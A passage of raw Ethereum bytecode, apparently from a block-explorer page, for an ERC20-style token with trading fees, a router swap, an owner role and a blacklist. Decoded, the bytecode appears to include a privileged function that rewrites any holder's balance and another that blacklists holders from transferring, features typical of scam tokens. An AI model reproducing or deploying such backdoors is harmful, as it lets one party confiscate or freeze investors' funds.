fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d191906126b5565b60405180910390a36001925050505b9392505050565b600083831115829061172f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117269190612573565b60405180910390fd5b506000838561173e919061287b565b9050809150509392505050565b600061178d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fde565b905092915050565b60008082846117a4919061279a565b9050838110156117b357600080fd5b8091505092915050565b6000808314156117d05760009050611832565b600082846117de9190612821565b90508284826117ed91906127f0565b1461182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612615565b60405180910390fd5b809150505b92915050565b60006118c3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e79092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f891906126b5565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a4357611a42612ac8565b5b604051908082528060200260200182016040528015611a715781602001602082028036833780820191505090505b5090503081600081518110611a8957611a88612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b2b57600080fd5b505afa158015611b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b639190612118565b81600181518110611b7757611b76612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bde30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ac565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c429594939291906126d0565b600060405180830381600087803b158015611c5c57600080fd5b505af1925050508015611c6d575060015b611c7657611c77565b5b60004790506000811115611cef57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ced573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e7565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611de157611dda6064611dcc600c54866117bd90919063ffffffff16565b61174b90919063ffffffff16565b9050611e5f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e5e57611e5b6064611e4d600d54866117bd90919063ffffffff16565b61174b90919063ffffffff16565b90505b5b6000811115611f6357611eba81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f5a91906126b5565b60405180910390a35b611f768184611d0f90919063ffffffff16565b9150509392505050565b6000808284611f8f919061279a565b905083811015611fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcb906125d5565b60405180910390fd5b8091505092915050565b60008083118290612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c9190612573565b60405180910390fd5b506000838561203491906127f0565b9050809150509392505050565b60008135905061205081612d50565b92915050565b60008151905061206581612d50565b92915050565b60008083601f84011261208157612080612afc565b5b8235905067ffffffffffffffff81111561209e5761209d612af7565b5b6020830191508360208202830111156120ba576120b9612b01565b5b9250929050565b6000813590506120d081612d67565b92915050565b6000813590506120e581612d7e565b92915050565b60006020828403121561210157612100612b0b565b5b600061210f84828501612041565b91505092915050565b60006020828403121561212e5761212d612b0b565b5b600061213c84828501612056565b91505092915050565b6000806040838503121561215c5761215b612b0b565b5b600061216a85828601612041565b925050602061217b85828601612041565b9150509250929050565b60008060006060848603121561219e5761219d612b0b565b5b60006121ac86828701612041565b93505060206121bd86828701612041565b92505060406121ce868287016120d6565b9150509250925092565b600080604083850312156121ef576121ee612b0b565b5b60006121fd85828601612041565b925050602061220e858286016120d6565b9150509250929050565b60008060006040848603121561223157612230612b0b565b5b600084013567ffffffffffffffff81111561224f5761224e612b06565b5b61225b8682870161206b565b9350935050602061226e868287016120c1565b9150509250925092565b60006020828403121561228e5761228d612b0b565b5b600061229c848285016120d6565b91505092915050565b60006122b183836122cc565b60208301905092915050565b6122c6816128c1565b82525050565b6122d5816128af565b82525050565b6122e4816128af565b82525050565b60006122f582612755565b6122ff8185612778565b935061230a83612745565b8060005b8381101561233b57815161232288826122a5565b975061232d8361276b565b92505060018101905061230e565b5085935050505092915050565b612351816128d3565b82525050565b61236081612916565b82525050565b61236f81612928565b82525050565b600061238082612760565b61238a8185612789565b935061239a81856020860161295e565b6123a381612b10565b840191505092915050565b60006123bb602383612789565b91506123c682612b21565b604082019050919050565b60006123de602283612789565b91506123e982612b70565b604082019050919050565b6000612401601b83612789565b915061240c82612bbf565b602082019050919050565b6000612424601083612789565b915061242f82612be8565b602082019050919050565b6000612447602183612789565b915061245282612c11565b604082019050919050565b600061246a602083612789565b915061247582612c60565b602082019050919050565b600061248d600b83612789565b915061249882612c89565b602082019050919050565b60006124b0602583612789565b91506124bb82612cb2565b604082019050919050565b60006124d3602483612789565b91506124de82612d01565b604082019050919050565b6124f2816128ff565b82525050565b61250181612909565b82525050565b600060208201905061251c60008301846122db565b92915050565b600060208201905061253760008301846122bd565b92915050565b60006020820190506125526000830184612348565b92915050565b600060208201905061256d6000830184612357565b92915050565b6000602082019050818103600083015261258d8184612375565b905092915050565b600060208201905081810360008301526125ae816123ae565b9050919050565b600060208201905081810360008301526125ce816123d1565b9050919050565b600060208201905081810360008301526125ee816123f4565b9050919050565b6000602082019050818103600083015261260e81612417565b9050919050565b6000602082019050818103600083015261262e8161243a565b9050919050565b6000602082019050818103600083015261264e8161245d565b9050919050565b6000602082019050818103600083015261266e81612480565b9050919050565b6000602082019050818103600083015261268e816124a3565b9050919050565b600060208201905081810360008301526126ae816124c6565b9050919050565b60006020820190506126ca60008301846124e9565b92915050565b600060a0820190506126e560008301886124e9565b6126f26020830187612366565b818103604083015261270481866122ea565b905061271360608301856122db565b61272060808301846124e9565b9695505050505050565b600060208201905061273f60008301846124f8565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127a5826128ff565b91506127b0836128ff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127e5576127e4612a0c565b5b828201905092915050565b60006127fb826128ff565b9150612806836128ff565b92508261281657612815612a3b565b5b828204905092915050565b600061282c826128ff565b9150612837836128ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128705761286f612a0c565b5b828202905092915050565b6000612886826128ff565b9150612891836128ff565b9250828210156128a4576128a3612a0c565b5b828203905092915050565b60006128ba826128df565b9050919050565b60006128cc826128df565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129218261293a565b9050919050565b6000612933826128ff565b9050919050565b60006129458261294c565b9050919050565b6000612957826128df565b9050919050565b60005b8381101561297c578082015181840152602081019050612961565b8381111561298b576000848401525b50505050565b600060028204905060018216806129a957607f821691505b602082108114156129bd576129bc612a6a565b5b50919050565b60006129ce826128ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0157612a00612a0c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d59816128af565b8114612d6457600080fd5b50565b612d70816128d3565b8114612d7b57600080fd5b50565b612d87816128ff565b8114612d9257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c5c52a72223444d1067275ff85cf615cb7e20770860cef0409e97db2a8258fc64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637f7ef03b116100ec578063a9059cbb1161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063a9059cbb146105b2578063c5d24189146105ef578063c816841b1461061a576101c2565b80638da5cb5b116100c65780638da5cb5b146105085780638f85a0431461053357806395d89b411461055c578063a08e671f14610587576101c2565b80637f7ef03b1461048b57806382eefb43146104b45780638b4cee08146104df576101c2565b806323b872dd116101595780633345611e116101335780633345611e146103bb57806361a23c69146103f857806370a082311461042357806371dde8cd14610460576101c2565b806323b872dd1461032857806327c8f83514610365578063313ce56714610390576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae5780631d231b2c146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e99190612573565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906121d8565b610793565b604051610226919061253d565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612278565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a9190612558565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906126b5565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d091906120eb565b610889565b6040516102e2919061253d565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906120eb565b6108a9565b60405161031f919061253d565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612185565b6108c9565b60405161035c919061253d565b60405180910390f35b34801561037157600080fd5b5061037a6109a3565b6040516103879190612507565b60405180910390f35b34801561039c57600080fd5b506103a56109c7565b6040516103b2919061272a565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd91906120eb565b6109de565b6040516103ef919061253d565b60405180910390f35b34801561040457600080fd5b5061040d6109fe565b60405161041a91906126b5565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906120eb565b610a04565b60405161045791906126b5565b60405180910390f35b34801561046c57600080fd5b50610475610a4d565b6040516104829190612522565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad91906121d8565b610a73565b005b3480156104c057600080fd5b506104c9610bc9565b6040516104d691906126b5565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190612278565b610bcf565b005b34801561051457600080fd5b5061051d610c77565b60405161052a9190612507565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190612218565b610ca0565b005b34801561056857600080fd5b50610571610ddc565b60405161057e9190612573565b60405180910390f35b34801561059357600080fd5b5061059c610e6e565b6040516105a991906126b5565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d491906121d8565b610e74565b6040516105e6919061253d565b60405180910390f35b3480156105fb57600080fd5b50610604610e93565b60405161061191906126b5565b60405180910390f35b34801561062657600080fd5b5061062f610e99565b60405161063c9190612507565b60405180910390f35b34801561065157600080fd5b5061065a610ebf565b60405161066791906126b5565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190612145565b610ec5565b6040516106a491906126b5565b60405180910390f35b3480156106b957600080fd5b506106c2610f4c565b6040516106cf91906126b5565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa91906120eb565b610f52565b005b60606001805461071090612991565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612991565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a06110a4565b84846110ac565b6001905092915050565b6107b96110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612635565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60006108d6848484611277565b50610998846108e36110a4565b61099385604051806060016040528060288152602001612d9660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109496110a4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e79092919063ffffffff16565b6110ac565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab46110a4565b73ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b01906125f5565b60405180910390fd5b610b826002610b7483610b666005600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174b90919063ffffffff16565b61179590919063ffffffff16565b6117bd90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600d5481565b610bd76110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612635565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ce16110a4565b73ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e906125f5565b60405180910390fd5b60005b83839050811015610dd6578160086000868685818110610d5d57610d5c612a99565b5b9050602002016020810190610d7291906120eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dce906129c3565b915050610d3a565b50505050565b606060028054610deb90612991565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1790612991565b8015610e645780601f10610e3957610100808354040283529160200191610e64565b820191906000526020600020905b815481529060010190602001808311610e4757829003601f168201915b5050505050905090565b600e5481565b6000610e88610e816110a4565b8484611277565b506001905092915050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610f5a6110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde90612635565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390612695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906125b5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161126a91906126b5565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df90612675565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f90612595565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612655565b60405180910390fd5b601160149054906101000a900460ff161561140c57611405848484611838565b90506116e0565b600061141730610a04565b9050601160149054906101000a900460ff161580156114805750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561148f5761148e81611a0b565b5b6114e183600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115c75750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115db576115d6868686611d59565b6115dd565b835b905061163181600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d191906126b5565b60405180910390a36001925050505b9392505050565b600083831115829061172f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117269190612573565b60405180910390fd5b506000838561173e919061287b565b9050809150509392505050565b600061178d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fde565b905092915050565b60008082846117a4919061279a565b9050838110156117b357600080fd5b8091505092915050565b6000808314156117d05760009050611832565b600082846117de9190612821565b90508284826117ed91906127f0565b1461182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612615565b60405180910390fd5b809150505b92915050565b60006118c3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e79092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f891906126b5565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a4357611a42612ac8565b5b604051908082528060200260200182016040528015611a715781602001602082028036833780820191505090505b5090503081600081518110611a8957611a88612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b2b57600080fd5b505afa158015611b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b639190612118565b81600181518110611b7757611b76612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bde30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ac565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c429594939291906126d0565b600060405180830381600087803b158015611c5c57600080fd5b505af1925050508015611c6d575060015b611c7657611c77565b5b60004790506000811115611cef57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ced573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e7565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611de157611dda6064611dcc600c54866117bd90919063ffffffff16565b61174b90919063ffffffff16565b9050611e5f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e5e57611e5b6064611e4d600d54866117bd90919063ffffffff16565b61174b90919063ffffffff16565b90505b5b6000811115611f6357611eba81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f5a91906126b5565b60405180910390a35b611f768184611d0f90919063ffffffff16565b9150509392505050565b6000808284611f8f919061279a565b905083811015611fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcb906125d5565b60405180910390fd5b8091505092915050565b60008083118290612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c9190612573565b60405180910390fd5b506000838561203491906127f0565b9050809150509392505050565b60008135905061205081612d50565b92915050565b60008151905061206581612d50565b92915050565b60008083601f84011261208157612080612afc565b5b8235905067ffffffffffffffff81111561209e5761209d612af7565b5b6020830191508360208202830111156120ba576120b9612b01565b5b9250929050565b6000813590506120d081612d67565b92915050565b6000813590506120e581612d7e565b92915050565b60006020828403121561210157612100612b0b565b5b600061210f84828501612041565b91505092915050565b60006020828403121561212e5761212d612b0b565b5b600061213c84828501612056565b91505092915050565b6000806040838503121561215c5761215b612b0b565b5b600061216a85828601612041565b925050602061217b85828601612041565b9150509250929050565b60008060006060848603121561219e5761219d612b0b565b5b60006121ac86828701612041565b93505060206121bd86828701612041565b92505060406121ce868287016120d6565b9150509250925092565b600080604083850312156121ef576121ee612b0b565b5b60006121fd85828601612041565b925050602061220e858286016120d6565b9150509250929050565b60008060006040848603121561223157612230612b0b565b5b600084013567ffffffffffffffff81111561224f5761224e612b06565b5b61225b8682870161206b565b9350935050602061226e868287016120c1565b9150509250925092565b60006020828403121561228e5761228d612b0b565b5b600061229c848285016120d6565b91505092915050565b60006122b183836122cc565b60208301905092915050565b6122c6816128c1565b82525050565b6122d5816128af565b82525050565b6122e4816128af565b82525050565b60006122f582612755565b6122ff8185612778565b935061230a83612745565b8060005b8381101561233b57815161232288826122a5565b975061232d8361276b565b92505060018101905061230e565b5085935050505092915050565b612351816128d3565b82525050565b61236081612916565b82525050565b61236f81612928565b82525050565b600061238082612760565b61238a8185612789565b935061239a81856020860161295e565b6123a381612b10565b840191505092915050565b60006123bb602383612789565b91506123c682612b21565b604082019050919050565b60006123de602283612789565b91506123e982612b70565b604082019050919050565b6000612401601b83612789565b915061240c82612bbf565b602082019050919050565b6000612424601083612789565b915061242f82612be8565b602082019050919050565b6000612447602183612789565b915061245282612c11565b604082019050919050565b600061246a602083612789565b915061247582612c60565b602082019050919050565b600061248d600b83612789565b915061249882612c89565b602082019050919050565b60006124b0602583612789565b91506124bb82612cb2565b604082019050919050565b60006124d3602483612789565b91506124de82612d01565b604082019050919050565b6124f2816128ff565b82525050565b61250181612909565b82525050565b600060208201905061251c60008301846122db565b92915050565b600060208201905061253760008301846122bd565b92915050565b60006020820190506125526000830184612348565b92915050565b600060208201905061256d6000830184612357565b92915050565b6000602082019050818103600083015261258d8184612375565b905092915050565b600060208201905081810360008301526125ae816123ae565b9050919050565b600060208201905081810360008301526125ce816123d1565b9050919050565b600060208201905081810360008301526125ee816123f4565b9050919050565b6000602082019050818103600083015261260e81612417565b9050919050565b6000602082019050818103600083015261262e8161243a565b9050919050565b6000602082019050818103600083015261264e8161245d565b9050919050565b6000602082019050818103600083015261266e81612480565b9050919050565b6000602082019050818103600083015261268e816124a3565b9050919050565b600060208201905081810360008301526126ae816124c6565b9050919050565b60006020820190506126ca60008301846124e9565b92915050565b600060a0820190506126e560008301886124e9565b6126f26020830187612366565b818103604083015261270481866122ea565b905061271360608301856122db565b61272060808301846124e9565b9695505050505050565b600060208201905061273f60008301846124f8565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127a5826128ff565b91506127b0836128ff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127e5576127e4612a0c565b5b828201905092915050565b60006127fb826128ff565b9150612806836128ff565b92508261281657612815612a3b565b5b828204905092915050565b600061282c826128ff565b9150612837836128ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128705761286f612a0c565b5b828202905092915050565b6000612886826128ff565b9150612891836128ff565b9250828210156128a4576128a3612a0c565b5b828203905092915050565b60006128ba826128df565b9050919050565b60006128cc826128df565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129218261293a565b9050919050565b6000612933826128ff565b9050919050565b60006129458261294c565b9050919050565b6000612957826128df565b9050919050565b60005b8381101561297c578082015181840152602081019050612961565b8381111561298b576000848401525b50505050565b600060028204905060018216806129a957607f821691505b602082108114156129bd576129bc612a6a565b5b50919050565b60006129ce826128ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0157612a00612a0c565b5b600182019050919050565b7f4e487b710000000000000000000000000000000000000000000